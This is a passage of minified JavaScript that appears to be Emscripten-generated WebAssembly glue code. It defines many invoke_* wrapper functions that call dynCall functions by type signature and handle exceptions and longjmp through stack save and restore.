Module["dynCall_jiji"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jijii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jijii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jijiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_jijiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jijj(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jijj"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jijji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_jijji"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jji(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_jji"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jjji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jjji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_v(index){var sp=stackSave();try{Module["dynCall_v"](index)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vd(index,a1){var sp=stackSave();try{Module["dynCall_vd"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vf(index,a1){var sp=stackSave();try{Module["dynCall_vf"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vff(index,a1,a2){var sp=stackSave();try{Module["dynCall_vff"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vffff(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vffff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vffffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vffffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vffffii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vffffii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vfi(index,a1,a2){var sp=stackSave();try{Module["dynCall_vfi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vfii(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_vfii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vfiii(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vfiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vi(index,a1){var sp=stackSave();try{Module["dynCall_vi"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vid(index,a1,a2){var sp=stackSave();try{Module["dynCall_vid"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viddi(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viddi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viddiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viddiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vidi(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_vidi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vidii(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vidii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vidiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vidiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vif(index,a1,a2){var sp=stackSave();try{Module["dynCall_vif"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viff(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_viff"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifff(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vifff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffff(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viffff"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifffffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_vifffffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viffffi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffffii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viffffii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffffiifffiiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16){var sp=stackSave();try{Module["dynCall_viffffiifffiiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vifffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifffii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vifffii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffi(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viffii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffiifffffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13){var sp=stackSave();try{Module["dynCall_viffiifffffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffiifffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viffiifffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viffiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viffiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viffiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifi(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_vifi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifii(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_vifii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vifiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vifiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_vifiiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifijii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_vifijii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vii(index,a1,a2){var sp=stackSave();try{Module["dynCall_vii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viid(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_viid"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viidi(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viidi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viidii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viidii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viif(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_viif"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiff(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viiff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifff(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viifff"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffffffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viiffffffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffffffffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13){var sp=stackSave();try{Module["dynCall_viiffffffffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifffffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viifffffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiffffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifffffi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viifffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiffffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viifffi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiffii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifi(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viifi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viifii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viifiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viifiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viii(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_viii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiidi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiidi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiif(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viiif"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiifffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiffi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiffii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiffii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiifi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiififfi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiififfi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiififi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiififi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiififii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiififii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiififiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiififiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiifii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiifiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiifiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiii(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiif(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiiif"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiffffii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viiiiffffii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifffi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiifffi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiiffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiifi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiififii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiififii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiifii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifiiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viiiifiiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiif(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiiif"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiifffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiiifffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiffi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiiiffi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiffii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiiiffii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiifi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiiifi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiif(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiiiif"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiifi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiiiifi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiifi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiiiiifi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viiiiiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiifii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14){var sp=stackSave();try{Module["dynCall_viiiiiiiiiiifii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{Module["dynCall_viiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14){var sp=stackSave();try{Module["dynCall_viiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15){var sp=stackSave();try{Module["dynCall_viiiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18){var 